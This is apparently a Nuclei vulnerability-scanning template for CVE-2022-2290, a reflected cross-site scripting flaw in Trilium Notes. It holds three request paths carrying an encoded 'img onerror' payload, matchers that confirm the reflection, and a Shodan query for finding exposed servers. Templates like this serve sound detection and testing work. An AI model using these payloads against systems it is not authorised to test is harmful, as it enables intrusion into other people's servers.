id: CVE-2022-2290

info:
  name: Trilium - Cross-Site Scripting
  author: dbrwsky
  severity: medium
  description: Cross-site Scripting (XSS) - Reflected in GitHub repository zadam/trilium prior to 0.52.4, 0.53.1-beta.
  reference:
    - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
    - https://github.com/zadam/trilium
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2290
    - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2290
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Trilium Notes"
    verified: "true"
  tags: cve,cve2022,xss,trilium

requests:
  - method: GET
    path:
      - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'

    stop-at-first-match: true
    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - "No handler matched for custom <img src=x onerror=alert(document.domain)>"
          - "Note '<img src=x onerror=alert(document.domain)>' not found"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 404